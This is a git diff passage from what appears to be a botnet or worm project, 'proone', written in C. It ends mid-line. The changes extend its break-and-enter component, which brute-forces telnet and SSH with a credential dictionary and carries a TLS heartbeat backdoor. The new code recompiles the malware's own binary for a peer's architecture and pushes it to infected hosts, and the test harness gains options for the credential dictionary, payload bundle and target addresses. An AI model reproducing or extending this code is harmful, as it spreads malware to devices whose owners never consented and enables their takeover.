diff options
-rw-r--r-- | .vscode/launch.json | 33 | ||||
-rw-r--r-- | src/bne.c | 177 | ||||
-rw-r--r-- | src/htbt.c | 49 | ||||
-rw-r--r-- | src/pack.h | 2 | ||||
-rw-r--r-- | src/proone-bne.c | 507 | ||||
-rw-r--r-- | src/proone-htbtclient.c | 11 | ||||
-rw-r--r-- | src/proone.c | 9 | ||||
-rw-r--r-- | src/proone.h | 1 | ||||
-rw-r--r-- | src/protocol.h | 2 | ||||
-rw-r--r-- | src/util_rt.c | 12 | ||||
-rw-r--r-- | src/util_rt.h | 2 |
11 files changed, 548 insertions, 257 deletions
diff --git a/.vscode/launch.json b/.vscode/launch.json index 9bf7391..537323d 100644 --- a/.vscode/launch.json +++ b/.vscode/launch.json @@ -60,33 +60,6 @@ "miDebuggerPath": "/usr/bin/gdb" }, { - "name": "pack", - "type": "cppdbg", - "request": "launch", - "program": "${workspaceFolder}/src/proone-pack", - "args": [ - "tmp/pack-test/exec", - "src/dvault.bin", - "src/data/pack-test/exec.aarch64", - "src/data/pack-test/exec.armv4t", - "src/data/pack-test/exec.armv7", - "src/data/pack-test/exec.i686", - "src/data/pack-test/exec.mips", - "src/data/pack-test/exec.mpsl", - "src/data/pack-test/exec.ppc", - "src/data/pack-test/exec.sh4", - "src/data/pack-test/exec.x86_64" - ], - "stopAtEntry": false, - "cwd": "${workspaceFolder}", - "environment": [], - "externalConsole": false, - "MIMode": "gdb", - "setupCommands": [], - "preLaunchTask": "Build pack", - "miDebuggerPath": "/usr/bin/gdb" - }, - { "name": "rnd", "type": "cppdbg", "request": "launch", @@ -144,9 +117,13 @@ "request": "launch", "program": "${workspaceFolder}/src/proone-bne", "args": [ + "--cdict", "./src/data/cred_dict.bin", + "--nybin", "./builds/proone/proone.nybin", - "192.0.2.1" // CHANGE + "--vercmp", + "0", + "192.0.2.1" // CHANGE ME ], "stopAtEntry": false, "cwd": "${workspaceFolder}", @@ -28,6 +28,14 @@ static const struct timespec BNE_ERR_PAUSE = { 0, 500000000 }; // 500ms static const struct timespec BNE_PROMPT_PAUSE = { 4, 0 }; // 4s static const uint64_t BNE_M2M_UPBIN_INT = 43200; // 12 hours +static const size_t BNE_STDIO_IB_SIZE[] = { +#if !PRNE_USE_MIN_MEM + PRNE_HTBT_STDIO_LEN_MAX, +#endif + 512, + 0 +}; + #define BNE_CONN_ATTEMPT 3 #define BNE_HDELAY_TYPE_MIN 150 // 150ms @@ -1949,6 +1957,44 @@ static ssize_t bne_vhtbt_write ( } } +static bool bne_vhtbt_flush ( + prne_bne_t *ctx, + bne_vhtbt_ctx_t *vctx, + const void *buf, + size_t len, + pth_event_t ev) +{ + ssize_t io_ret; + + while (len > 0) { + io_ret = bne_vhtbt_write(ctx, vctx, buf, len, ev); + if (io_ret < 0) { + return false; + } + if (io_ret == 0) { + return false; + } + + buf = (const uint8_t*)buf + io_ret; + len -= io_ret; + } + + return true; +} + +static bool bne_vhtbt_flush_ib ( + prne_bne_t *ctx, + bne_vhtbt_ctx_t *vctx, + prne_iobuf_t *ib, + pth_event_t ev) +{ + const bool ret = bne_vhtbt_flush(ctx, vctx, ib->m, ib->len, ev); + if (ret) { + prne_iobuf_reset(ib); + } + return ret; +} + static bool bne_vhtbt_recvf ( prne_bne_t *ctx, bne_vhtbt_ctx_t *vctx, @@ -2189,12 +2235,9 @@ static bool bne_vhtbt_do_upbin_us ( mh.id = prne_htbt_gen_msgid(&ctx->rnd, bne_vhtbt_msgid_f); mh.op = PRNE_HTBT_OP_RCB; + rcb_f.os = PRNE_HOST_OS; rcb_f.arch = PRNE_HOST_ARCH; rcb_f.compat = true; - prne_pth_reset_timer(ev, &BNE_SCK_OP_TIMEOUT); - if (!bne_vhtbt_do_ayt(ctx, vctx, ev)) { - goto END; - } prne_pth_reset_timer(ev, &BNE_SCK_OP_TIMEOUT); if (!bne_vhtbt_send_mh(ctx, vctx, &mh, *ev)) { @@ -2260,6 +2303,8 @@ static bool bne_vhtbt_do_upbin_us ( prne_iobuf_shift(&vctx->stdioib, -f_ret); } } + + pth_yield(NULL); } while (!stdio_f.fin); ctx->param.cb.upbin(ctx->param.cb_ctx, tmpfile_path, &cmd); ret = true; @@ -2281,11 +2326,116 @@ END: static bool bne_vhtbt_do_upbin_them ( prne_bne_t *ctx, bne_vhtbt_ctx_t *vctx, + const prne_htbt_host_info_t *hi, pth_event_t *ev) { - // TODO - errno = ENOSYS; - return false; + bool ret = false; + prne_bin_rcb_ctx_t rcbctx; + prne_pack_rc_t prc; + prne_bin_host_t target; + prne_htbt_msg_head_t mh; + prne_htbt_bin_meta_t bm; + prne_htbt_stdio_t sh; + prne_iobuf_t rcb_ib; + ssize_t io_ret; + int perr = 0; + + prne_init_bin_rcb_ctx(&rcbctx); + prne_htbt_init_msg_head(&mh); + prne_htbt_init_bin_meta(&bm); + prne_htbt_init_stdio(&sh); + prne_init_iobuf(&rcb_ib); + + if (!prne_try_alloc_iobuf(&rcb_ib, BNE_STDIO_IB_SIZE)) { + goto END; + } + + target.os = hi->os; + target.arch = hi->arch; + + prc = prne_start_bin_rcb_compat( + &rcbctx, + target, + ctx->param.rcb->self, + ctx->param.rcb->m_self, + ctx->param.rcb->self_len, + ctx->param.rcb->exec_len, + ctx->param.rcb->m_dv, + ctx->param.rcb->dv_len, + ctx->param.rcb->ba, + NULL); + if (prc != PRNE_PACK_RC_OK) { + goto END; + } + + mh.id = prne_htbt_gen_msgid(&ctx->rnd, bne_vhtbt_msgid_f); + mh.op = PRNE_HTBT_OP_UP_BIN; + bm.alloc_len = prne_op_min( + ctx->param.rcb->self_len, + PRNE_HTBT_BIN_ALLOC_LEN_MAX); + prne_pth_reset_timer(ev, &BNE_SCK_OP_TIMEOUT); + if (!bne_vhtbt_send_mh(ctx, vctx, &mh, *ev) || + !bne_vhtbt_sendf( + ctx, + vctx, + &bm, + (prne_htbt_ser_ft)prne_htbt_ser_bin_meta, + *ev)) + { + goto END; + } + + mh.op = PRNE_HTBT_OP_STDIO; + do { + prne_pth_reset_timer(ev, &BNE_SCK_OP_TIMEOUT); + + io_ret = prne_bin_rcb_read( + &rcbctx, + rcb_ib.m, + rcb_ib.avail, + &prc, + &perr); + if (io_ret < 0) { + goto END; + } + prne_iobuf_shift(&rcb_ib, io_ret); + + if (rcb_ib.len > 0) { + sh.len = rcb_ib.len; + if (!bne_vhtbt_send_mh(ctx, vctx, &mh, *ev) || + !bne_vhtbt_sendf( + ctx, + vctx, + &sh, + (prne_htbt_ser_ft)prne_htbt_ser_stdio, + *ev) || + !bne_vhtbt_flush_ib(ctx, vctx, &rcb_ib, *ev)) + { + goto END; + } + } + + pth_yield(NULL); + } while (prc != PRNE_PACK_RC_EOF); + sh.fin = true; + sh.len = 0; + prne_pth_reset_timer(ev, &BNE_SCK_OP_TIMEOUT); + ret = + bne_vhtbt_send_mh(ctx, vctx, &mh, *ev) && + !bne_vhtbt_sendf( + ctx, + vctx, + &sh, + (prne_htbt_ser_ft)prne_htbt_ser_stdio, + *ev); + +END: + prne_free_iobuf(&rcb_ib); + prne_free_bin_rcb_ctx(&rcbctx); + prne_htbt_free_msg_head(&mh); + prne_htbt_free_bin_meta(&bm); + prne_htbt_free_stdio(&sh); + return ret; } static bool bne_do_vec_htbt (prne_bne_t *ctx) { @@ -2344,6 +2494,9 @@ static bool bne_do_vec_htbt (prne_bne_t *ctx) { if (ctx->param.cb.uptime(ctx->param.cb_ctx) < BNE_M2M_UPBIN_INT) { break; } + if (!bne_vhtbt_do_ayt(ctx, &vctx, &ev)) { + goto END; + } if (!bne_vhtbt_do_upbin_us(ctx, &vctx, &ev)) { goto END; } @@ -2352,9 +2505,17 @@ static bool bne_do_vec_htbt (prne_bne_t *ctx) { if (hi.parent_uptime < BNE_M2M_UPBIN_INT) { break; } - if (!bne_vhtbt_do_upbin_them(ctx, &vctx, &ev)) { + if (!bne_vhtbt_do_ayt(ctx, &vctx, &ev)) { goto END; } + if (ctx->param.rcb != NULL) { + if (!bne_vhtbt_do_upbin_them(ctx, &vctx, &hi, &ev)) { + goto END; + } + } + else { + // TODO + } } } while (false); @@ -1116,6 +1116,8 @@ static bool htbt_relay_child ( } while (*c_out >= 0 || *c_err >= 0) { + pth_yield(NULL); + // Do poll pfd[1].fd = *c_in; pfd[2].fd = *c_out; @@ -1571,6 +1573,7 @@ static bool htbt_slv_srv_bin ( int32_t ret_errno = 0; htbt_lmk_t lmk = HTBT_LMK_NONE; ssize_t io_ret; + size_t written = 0; prne_dbgast( op == PRNE_HTBT_OP_RUN_BIN || @@ -1651,6 +1654,7 @@ static bool htbt_slv_srv_bin ( goto END; } + written += stdio_f.len; prne_iobuf_reset(ctx->iobuf + 0); while (stdio_f.len > 0 || ctx->iobuf[0].len > 0) { if (stdio_f.len > 0) { @@ -1698,7 +1702,11 @@ static bool htbt_slv_srv_bin ( } prne_iobuf_shift(ctx->iobuf + 0, -io_ret); } + + pth_yield(NULL); } while (!stdio_f.fin); + // Just in case transfer falls short of alloc_len + ftruncate(fd, (off_t)written); close(fd); fd = -1; @@ -1879,8 +1887,14 @@ static bool htbt_slv_srv_rcb ( } if (rcb_f.self) { - target.os = ctx->rcb->self.os; - target.arch = ctx->rcb->self.arch; + if (ctx->rcb->self != NULL) { + target = *ctx->rcb->self; + } + else { + status = PRNE_HTBT_STATUS_ERRNO; + err = ENOMEDIUM; + goto STATUS_END; + } } else { target.os = rcb_f.os; @@ -1891,14 +1905,14 @@ static bool htbt_slv_srv_rcb ( HTBT_NT_SLV"@%"PRIuPTR": starting rcb self=%02X target=%02X" " compat(%s)\n", (uintptr_t)ctx, - ctx->rcb->self.arch, + ctx->rcb->self != NULL ? ctx->rcb->self->arch : PRNE_ARCH_NONE, target.arch, rcb_f.compat ? "*" : " "); } prc = prne_start_bin_rcb_compat( &rcb_ctx, target, - &ctx->rcb->self, + ctx->rcb->self, ctx->rcb->m_self, ctx->rcb->self_len, ctx->rcb->exec_len, @@ -1918,22 +1932,21 @@ static bool htbt_slv_srv_rcb ( mh.id = corr_id; mh.is_rsp = true; mh.op = PRNE_HTBT_OP_STDIO; - while (rcb_ib.len > 0 || prc != PRNE_PACK_RC_EOF) { + do { prne_pth_reset_timer(&ev, &HTBT_DL_TICK_TIMEOUT); - if (rcb_ib.avail > 0 && prc != PRNE_PACK_RC_EOF) { - io_ret = prne_bin_rcb_read( - &rcb_ctx, - rcb_ib.m + rcb_ib.len, - rcb_ib.avail, - &prc, - &rcb_err); - if (io_ret < 0) { - htbt_slv_set_pack_err(prc, rcb_err, &status, &err); - goto STATUS_END; - } - prne_iobuf_shift(&rcb_ib, io_ret); + io_ret = prne_bin_rcb_read( + &rcb_ctx, + rcb_ib.m, + rcb_ib.avail, + &prc, + &rcb_err); + if (io_ret < 0) { + htbt_slv_set_pack_err(prc, rcb_err, &status, &err); + goto STATUS_END; } + prne_iobuf_shift(&rcb_ib, io_ret); + if (rcb_ib.len > 0) { data_f.len = rcb_ib.len; ret = @@ -1946,7 +1959,7 @@ static bool htbt_slv_srv_rcb ( } pth_yield(NULL); - } + } while (prc != PRNE_PACK_RC_EOF); prne_pth_reset_timer(&ev, &HTBT_DL_TICK_TIMEOUT); data_f.fin = true; data_f.len = 0; @@ -62,7 +62,7 @@ struct prne_rcb_param { const uint8_t *m_dv; size_t dv_len; const prne_bin_archive_t *ba; - prne_bin_host_t self; + const prne_bin_host_t *self; }; static const char PRNE_PACK_BA_IDEN_DATA[] = { 'p', 'r', '-', 'b', 'a' }; diff --git a/src/proone-bne.c b/src/proone-bne.c index 26d0587..ccecccd 100644 --- a/src/proone-bne.c +++ b/src/proone-bne.c @@ -3,10 +3,12 @@ #include <assert.h> #include <string.h> #include <errno.h> +#include <getopt.h> #include <signal.h> #include <unistd.h> #include <fcntl.h> +#include <sys/stat.h> #include <arpa/inet.h> #include <mbedtls/entropy.h> @@ -17,63 +19,266 @@ #include "mbedtls.h" #include "proone_conf/x509.h" +#define HELP_STR \ +"Usage: %s <options> <target> [more targets ...]\n"\ +"Options:\n"\ +" --cdict <PATH> path to credential dictionary(required)\n"\ +" --nybin <PATH> path to nybin(required)\n"\ +" --vercmp <INT> vercmp() callback return value. Use negative to get binary\n"\ +" from target. Use positive value to update binary of target.\n"\ +" Use zero to disable M2M binary update(default).\n"\ +"Target: IPv4 or IPv6 address\n" + +struct { + char *cd_path; + char *nybin_path; + struct { + prne_ip_addr_t *arr; + size_t cnt; + } targets; + int vercmp_ret; +} prog_conf; -static char m_upbin_path[256]; -static char m_upbin_args[1024]; -static size_t m_upbin_args_size; +struct { + struct { + uint8_t *m; + size_t l; + prne_cred_dict_t ctx; + } cred_dict; + struct { + uint8_t *m; + size_t l; + } nybin; + struct { + const uint8_t *m; + size_t l; + prne_bin_archive_t ctx; + } ba; + struct { + char path[256]; + char args[1024]; + size_t args_size; + } upbin; + struct { + mbedtls_entropy_context entropy; + mbedtls_ctr_drbg_context ctr_drbg; + mbedtls_x509_crt ca; + mbedtls_x509_crt crt; + mbedtls_pk_context key; + mbedtls_ssl_config conf; + } ssl; + prne_llist_t wkr_list; + prne_rcb_param_t rcb_param; + prne_bne_param_t bne_param; +} prog_g; static void print_help (FILE *o, const char *prog) { - fprintf( - o, - "Usage: %s <cred dict> <nybin> <target 0> ... [target N]\n" - "Options:\n" - "\t<cred dict>: path to credential dictionary\n" - "\t<nybin>: path to nybin\n" - "\ttarget N: IPv4 or IPv6 address\n", - prog); + fprintf(o, HELP_STR, prog); } -static bool load_file (const int fd, uint8_t **m, size_t *len) { - bool ret = true; - uint8_t *buf; - size_t buf_size; - ssize_t f_ret; - void *ny; +static void init_g (void) { + prne_memzero(&prog_g, sizeof(prog_g)); - buf_size = prne_getpagesize(); - buf = prne_malloc(1, buf_size); - if (buf == 0) { - perror("prne_malloc()"); - return false; + prne_init_cred_dict(&prog_g.cred_dict.ctx); + prne_init_bne_param(&prog_g.bne_param); + prne_init_rcb_param(&prog_g.rcb_param); + prne_init_bin_archive(&prog_g.ba.ctx); + + mbedtls_x509_crt_init(&prog_g.ssl.ca); + mbedtls_x509_crt_init(&prog_g.ssl.crt); + mbedtls_pk_init(&prog_g.ssl.key); + mbedtls_ssl_config_init(&prog_g.ssl.conf); + + mbedtls_entropy_init(&prog_g.ssl.entropy); + mbedtls_ctr_drbg_init(&prog_g.ssl.ctr_drbg); + prne_init_llist(&prog_g.wkr_list); + + prne_assert(mbedtls_ctr_drbg_seed( + &prog_g.ssl.ctr_drbg, + mbedtls_entropy_func, + &prog_g.ssl.entropy, + NULL, + 0) == 0); +} + +static void free_g (void) { + prne_free_llist(&prog_g.wkr_list); + mbedtls_ctr_drbg_free(&prog_g.ssl.ctr_drbg); + mbedtls_entropy_free(&prog_g.ssl.entropy); + mbedtls_x509_crt_free(&prog_g.ssl.ca); + mbedtls_x509_crt_free(&prog_g.ssl.crt); + mbedtls_pk_free(&prog_g.ssl.key); + mbedtls_ssl_config_free(&prog_g.ssl.conf); + prne_free_cred_dict(&prog_g.cred_dict.ctx); + prne_free_bne_param(&prog_g.bne_param); + prne_free_rcb_param(&prog_g.rcb_param); + prne_free_bin_archive(&prog_g.ba.ctx); + prne_free(prog_g.cred_dict.m); + prog_g.cred_dict.m = NULL; + prog_g.cred_dict.l = 0; + prne_free(prog_g.nybin.m); + prog_g.nybin.m = NULL; + prog_g.nybin.l = 0; +} + +static void init_conf (void) { + prne_memzero(&prog_conf, sizeof(prog_conf)); +} + +static void free_conf (void) { + prne_free(prog_conf.cd_path); + prog_conf.cd_path = NULL; + prne_free(prog_conf.nybin_path); + prog_conf.nybin_path = NULL; + prne_free(prog_conf.targets.arr); + prog_conf.targets.arr = NULL; + prog_conf.targets.cnt = 0; +} + +static void load_str (char **dst, const char *str) { + *dst = prne_redup_str(*dst, str); + if (*dst == NULL) { + perror("prne_redup_str()"); + abort(); } +} + +static int parse_args (const int argc, char *const*args) { + static const struct option lopts[] = { + { "cdict", required_argument, 0, 0 }, + { "nybin", required_argument, 0, 0 }, + { "vercmp", required_argument, 0, 0 }, + { 0, 0, 0, 0 } + }; + bool arg_proc = false; + int f_ret, li; while (true) { - f_ret = read(fd, buf, buf_size); + f_ret = getopt_long(argc, args, "", lopts, &li); if (f_ret == 0) { - break; + const struct option *lo = lopts + li; + + if (strcmp(lo->name, "cdict") == 0) { + load_str(&prog_conf.cd_path, optarg); + } + else if (strcmp(lo->name, "nybin") == 0) { + load_str(&prog_conf.nybin_path, optarg); + } + else if (strcmp(lo->name, "vercmp") == 0) { + f_ret = sscanf(optarg, "%d", &prog_conf.vercmp_ret); + if (f_ret == EOF) { + perror("sscanf()"); + return 1; + } + if (f_ret != 1) { + fprintf( + stderr, + "%s: invalid argument for --vercmp\n", + optarg); + return 2; + } + } + else { + abort(); + } + + arg_proc = true; + } + else if (f_ret == '?') { + return 2; } - if (f_ret < 0) { - perror("read()"); - ret = false; + else { break; } + } - ny = prne_realloc(*m, 1, *len + f_ret); - if (ny == NULL) { - perror("prne_realloc()"); - ret = false; - break; + if (!arg_proc) { + print_help(stderr, args[0]); + return 2; + } + if (prog_conf.cd_path == NULL) { + fprintf(stderr, "--cred_dict required.\n"); + return 2; + } + if (prog_conf.nybin_path == NULL) { + fprintf(stderr, "--nybin required.\n"); + return 2; + } + prog_conf.targets.cnt = argc - optind; + if (prog_conf.targets.cnt == 0) { + fprintf(stderr, "No target.\n"); + return 2; + } + + prog_conf.targets.arr = prne_calloc( + sizeof(prne_ip_addr_t), + prog_conf.targets.cnt); + for (size_t i = 0; i < prog_conf.targets.cnt; i += 1, optind += 1) { + prne_ip_addr_t *p = prog_conf.targets.arr + i; + + if (inet_pton(AF_INET6, args[optind], p->addr)) { + p->ver = PRNE_IPV_6; + } + else if (inet_pton(AF_INET, args[optind], p->addr)) { + p->ver = PRNE_IPV_4; + } + else { + fprintf(stderr, "%s: invalid IP address\n", args[optind]); + return 2; } - *m = (uint8_t*)ny; - memcpy(*m + *len, buf, f_ret); - *len += f_ret; } - prne_free(buf); + return 0; +} + +static bool load_file (const char *path, uint8_t **obuf, size_t *olen) { + bool ret = false; + int fd = -1; + ssize_t f_ret; + uint8_t *m = NULL; + struct stat st; + + fd = open(path, O_RDONLY); + if (fd < 0) { + perror(path); + goto END; + } + + f_ret = fstat(fd, &st); + if (f_ret != 0) { + perror(path); + goto END; + } + + m = (uint8_t*)prne_malloc(1, st.st_size); + if (m == NULL && st.st_size > 0) { + perror("prne_malloc()"); + goto END; + } + f_ret = read(fd, m, st.st_size); + if (f_ret < 0) { + perror("read()"); + goto END; + } + if (f_ret != st.st_size) { + fprintf(stderr, "%s: file changed whilst loading!\n", path); + goto END; + } + ret = true; + +END: + prne_close(fd); + if (ret) { + *obuf = m; + *olen = st.st_size; + } + else { + prne_free(m); + } return ret; } -static void load_htbt_ssl_conf ( +static bool load_htbt_ssl_conf ( mbedtls_x509_crt *ca, mbedtls_x509_crt *crt, mbedtls_pk_context *key, @@ -102,6 +307,8 @@ static void load_htbt_ssl_conf ( mbedtls_ssl_conf_verify(conf, prne_mbedtls_x509_crt_verify_cb, NULL); mbedtls_ssl_conf_rng(conf, mbedtls_ctr_drbg_random, rnd); mbedtls_ssl_conf_authmode(conf, MBEDTLS_SSL_VERIFY_REQUIRED); + + return true; } static void report_result (const prne_bne_result_t *r) { @@ -172,7 +379,7 @@ static uint64_t cb_uptime (void *ctx) { } static int cb_vercmp (void *ctx, const uint8_t *uuid) { - return -1; + return prog_conf.vercmp_ret; } static int cb_tmpfile ( @@ -232,165 +439,100 @@ static bool cb_upbin (void *ctx, const char *path, const prne_htbt_cmd_t *cmd) { const size_t path_len = prne_nstrlen(path); prne_dbgast(path_len > 0); - if (path_len + 1 > sizeof(m_upbin_path) || - cmd->mem_len > sizeof(m_upbin_args)) + if (path_len + 1 > sizeof(prog_g.upbin.path) || + cmd->mem_len > sizeof(prog_g.upbin.args)) { errno = ENOMEM; return false; } - memcpy(m_upbin_path, path, path_len + 1); - memcpy(m_upbin_args, cmd->mem, cmd->mem_len); - m_upbin_args_size = cmd->mem_len; + memcpy(prog_g.upbin.path, path, path_len + 1); + memcpy(prog_g.upbin.args, cmd->mem, cmd->mem_len); + prog_g.upbin.args_size = cmd->mem_len; return true; } static void do_run_upbin (void) { - for (size_t i = 0; i < m_upbin_args_size; i += 1) { - if (m_upbin_args[i] == 0) { - m_upbin_args[i] = ' '; + for (size_t i = 0; i < prog_g.upbin.args_size; i += 1) { + if (prog_g.upbin.args[i] == 0) { + prog_g.upbin.args[i] = ' '; } } - m_upbin_args[m_upbin_args_size - 1] = 0; + prog_g.upbin.args[prog_g.upbin.args_size - 1] = 0; printf( "upbin received:\n%s %s\n", - m_upbin_path, - m_upbin_args); + prog_g.upbin.path, + prog_g.upbin.args); } -int main (const int argc, const char **args) { +int main (int argc, char **args) { static prne_bne_vector_t ARR_VEC[] = { PRNE_BNE_V_HTBT, PRNE_BNE_V_BRUTE_TELNET, PRNE_BNE_V_BRUTE_SSH }; int ret = 0; - int fd = -1; - uint8_t *m_cred_dict = NULL, *m_nybin = NULL; - size_t cred_dict_len = 0, nybin_len = 0; - const uint8_t *m_dv, *m_ba; - size_t dv_len, ba_len; - prne_ip_addr_t *arr = NULL; - size_t cnt = 0; - prne_cred_dict_t dict; - prne_bin_archive_t ba; - prne_bne_param_t param; - prne_rcb_param_t rcb; prne_pack_rc_t prc; - mbedtls_entropy_context entropy; - mbedtls_ctr_drbg_context ctr_drbg; - struct { - mbedtls_x509_crt ca; - mbedtls_x509_crt crt; - mbedtls_pk_context key; - mbedtls_ssl_config conf; - } htbt_ssl; pth_event_t ev_root = NULL; - prne_llist_t wkr_list; signal(SIGPIPE, SIG_IGN); - prne_init_cred_dict(&dict); - prne_init_bne_param(¶m); - prne_init_rcb_param(&rcb); - prne_init_bin_archive(&ba); - - mbedtls_x509_crt_init(&htbt_ssl.ca); - mbedtls_x509_crt_init(&htbt_ssl.crt); - mbedtls_pk_init(&htbt_ssl.key); - mbedtls_ssl_config_init(&htbt_ssl.conf); - - mbedtls_entropy_init(&entropy); - mbedtls_ctr_drbg_init(&ctr_drbg); - prne_init_llist(&wkr_list); - + init_conf(); + init_g(); prne_assert(pth_init()); - prne_assert(mbedtls_ctr_drbg_seed( - &ctr_drbg, - mbedtls_entropy_func, - &entropy, - NULL, - 0) == 0); - // TRY - if (argc < 4) { - print_help(stderr, args[0]); - ret = 2; - goto END; - } - - load_htbt_ssl_conf( - &htbt_ssl.ca, - &htbt_ssl.crt, - &htbt_ssl.key, - &htbt_ssl.conf, - &ctr_drbg); - - cnt = (size_t)argc - 3; - arr = (prne_ip_addr_t*)prne_calloc(sizeof(prne_ip_addr_t), cnt); - if (arr == NULL) { - ret = 2; - perror("prne_calloc()"); - goto END; - } - for (size_t i = 0; i < cnt; i += 1) { - const char *str = args[i + 3]; - prne_ip_addr_t *e = arr + i; - - if (inet_pton(AF_INET6, str, e->addr)) { - e->ver = PRNE_IPV_6; - } - else if (inet_pton(AF_INET, str, e->addr)) { - e->ver = PRNE_IPV_4; - } - else { - ret = 2; - fprintf(stderr, "%s: invalid IP address\n", str); - goto END; - } - } - - fd = open(args[1], O_RDONLY); - if (fd < 0) { - perror(args[1]); - ret = 1; - goto END; - } - if (!load_file(fd, &m_cred_dict, &cred_dict_len)) { - ret = 1; + ret = parse_args(argc, args); + if (ret != 0) { goto END; } - prne_close(fd); - fd = open(args[2], O_RDONLY); - if (fd < 0) { - perror(args[2]); - ret = 1; - goto END; - } - if (!load_file(fd, &m_nybin, &nybin_len)) { + if (!load_htbt_ssl_conf( + &prog_g.ssl.ca, + &prog_g.ssl.crt, + &prog_g.ssl.key, + &prog_g.ssl.conf, + &prog_g.ssl.ctr_drbg) || + !load_file( + prog_conf.cd_path, + &prog_g.cred_dict.m, + &prog_g.cred_dict.l) || + !load_file( + prog_conf.nybin_path, + &prog_g.nybin.m, + &prog_g.nybin.l)) + { ret = 1; goto END; } - prne_close(fd); - if (!prne_dser_cred_dict(&dict, m_cred_dict, cred_dict_len)) { + if (!prne_dser_cred_dict( + &prog_g.cred_dict.ctx, + prog_g.cred_dict.m, + prog_g.cred_dict.l)) + { perror("prne_dser_cred_dict()"); ret = 1; goto END; } - if (!prne_index_nybin(m_nybin, nybin_len, &m_dv, &dv_len, &m_ba, &ba_len)) { - fprintf(stderr, "prne_index_nybin() failed.\n"); + if (!prne_index_nybin( + prog_g.nybin.m, + prog_g.nybin.l, + &prog_g.rcb_param.m_dv, + &prog_g.rcb_param.dv_len, + &prog_g.ba.m, + &prog_g.ba.l)) + { + perror("prne_index_nybin()"); ret = 1; goto END; } - prc = prne_index_bin_archive(m_ba, ba_len, &ba); + prc = prne_index_bin_archive(prog_g.ba.m, prog_g.ba.l, &prog_g.ba.ctx); if (prc != PRNE_PACK_RC_OK) { fprintf( stderr, @@ -400,31 +542,29 @@ int main (const int argc, const char **args) { goto END; } - rcb.m_dv = m_dv; - rcb.dv_len = dv_len; - rcb.ba = &ba; + prog_g.rcb_param.ba = &prog_g.ba.ctx; - param.htbt_ssl_conf = &htbt_ssl.conf; - param.cred_dict = &dict; - param.vector.arr = ARR_VEC; - param.vector.cnt = sizeof(ARR_VEC)/sizeof(prne_bne_vector_t); - param.rcb = &rcb; - param.cb.exec_name = cb_exec_name; - param.cb.uptime = cb_uptime; - param.cb.vercmp = cb_vercmp; - param.cb.tmpfile = cb_tmpfile; - param.cb.upbin = cb_upbin; + prog_g.bne_param.htbt_ssl_conf = &prog_g.ssl.conf; + prog_g.bne_param.cred_dict = &prog_g.cred_dict.ctx; + prog_g.bne_param.vector.arr = ARR_VEC; + prog_g.bne_param.vector.cnt = sizeof(ARR_VEC)/sizeof(prne_bne_vector_t); + prog_g.bne_param.rcb = &prog_g.rcb_param; + prog_g.bne_param.cb.exec_name = cb_exec_name; + prog_g.bne_param.cb.uptime = cb_uptime; + prog_g.bne_param.cb.vercmp = cb_vercmp; + prog_g.bne_param.cb.tmpfile = cb_tmpfile; + prog_g.bne_param.cb.upbin = cb_upbin; - for (size_t i = 0; i < cnt; i += 1) { + for (size_t i = 0; i < prog_conf.targets.cnt; i += 1) { prne_worker_t *w = prne_malloc(sizeof(prne_worker_t), 1); prne_init_worker(w); - prne_assert( - w != NULL && - prne_llist_append(&wkr_list, (prne_llist_element_t)w) != NULL); + prne_assert(prne_llist_append( + &prog_g.wkr_list, + (prne_llist_element_t)w) != NULL); - param.subject = arr[i]; - if (!prne_alloc_bne(w, &ctr_drbg, ¶m)) { + prog_g.bne_param.subject = prog_conf.targets.arr[i]; + if (!prne_alloc_bne(w, &prog_g.ssl.ctr_drbg, &prog_g.bne_param)) { perror("prne_alloc_bne()"); abort(); } @@ -433,11 +573,14 @@ int main (const int argc, const char **args) { prne_assert(w->pth != NULL); } - while (wkr_list.size > 0) { + while (prog_g.wkr_list.size > 0) { // rebuild event pth_event_free(ev_root, TRUE); ev_root = NULL; - for (prne_llist_entry_t *e = wkr_list.head; e != NULL; e = e->next) { + for (prne_llist_entry_t *e = prog_g.wkr_list.head; + e != NULL; + e = e->next) + { prne_worker_t *w = (prne_worker_t*)e->element; pth_event_t ev = pth_event( PTH_EVENT_TID | PTH_UNTIL_TID_DEAD, @@ -455,7 +598,7 @@ int main (const int argc, const char **args) { pth_wait(ev_root); // reap - for (prne_llist_entry_t *e = wkr_list.head; e != NULL;) { + for (prne_llist_entry_t *e = prog_g.wkr_list.head; e != NULL;) { prne_worker_t *w = (prne_worker_t*)e->element; pth_attr_t attr = pth_attr_of(w->pth); pth_state_t state; @@ -473,7 +616,7 @@ int main (const int argc, const char **args) { prne_free_worker(w); prne_free(w); - e = prne_llist_erase(&wkr_list, e); + e = prne_llist_erase(&prog_g.wkr_list, e); } else { e = e->next; @@ -482,26 +625,12 @@ int main (const int argc, const char **args) { } END: // CATCH - prne_free_llist(&wkr_list); pth_event_free(ev_root, TRUE); - mbedtls_ctr_drbg_free(&ctr_drbg); - mbedtls_entropy_free(&entropy); - mbedtls_x509_crt_free(&htbt_ssl.ca); - mbedtls_x509_crt_free(&htbt_ssl.crt); - mbedtls_pk_free(&htbt_ssl.key); - mbedtls_ssl_config_free(&htbt_ssl.conf); - prne_free_cred_dict(&dict); - prne_free_bne_param(¶m); - prne_free_rcb_param(&rcb); - prne_free_bin_archive(&ba); - prne_close(fd); - prne_free(arr); - prne_free(m_cred_dict); - prne_free(m_nybin); - + free_g(); + free_conf(); pth_kill(); - if (prne_nstrlen(m_upbin_path) > 0) { + if (prog_g.upbin.path[0] != 0) { do_run_upbin(); } diff --git a/src/proone-htbtclient.c b/src/proone-htbtclient.c index 534719d..533330f 100644 --- a/src/proone-htbtclient.c +++ b/src/proone-htbtclient.c @@ -560,7 +560,7 @@ static int parse_args_hover (const int argc, char *const *args) { } } else { - break; + return 2; } } @@ -1983,12 +1983,9 @@ static bool run_setup (const uint16_t msgid) { goto END; } - if (fs.st_size < PRNE_HTBT_BIN_ALLOC_LEN_MAX) { - prog_conf.cmd_param.run.bm.alloc_len = (uint32_t)fs.st_size; - } - else { - prog_conf.cmd_param.run.bm.alloc_len = PRNE_HTBT_BIN_ALLOC_LEN_MAX; - } + prog_conf.cmd_param.run.bm.alloc_len = prne_op_min( + fs.st_size, + PRNE_HTBT_BIN_ALLOC_LEN_MAX); f = &prog_conf.cmd_param.run.bm; ser_f = (prne_htbt_ser_ft)prne_htbt_ser_bin_meta; break; diff --git a/src/proone.c b/src/proone.c index 8656534..17d88a5 100644 --- a/src/proone.c +++ b/src/proone.c @@ -1388,7 +1388,9 @@ static void init_bne (void) { bne_param.cb.tmpfile = cb_tmpfile; bne_param.cb.upbin = cb_upbin; - bne_param.rcb = 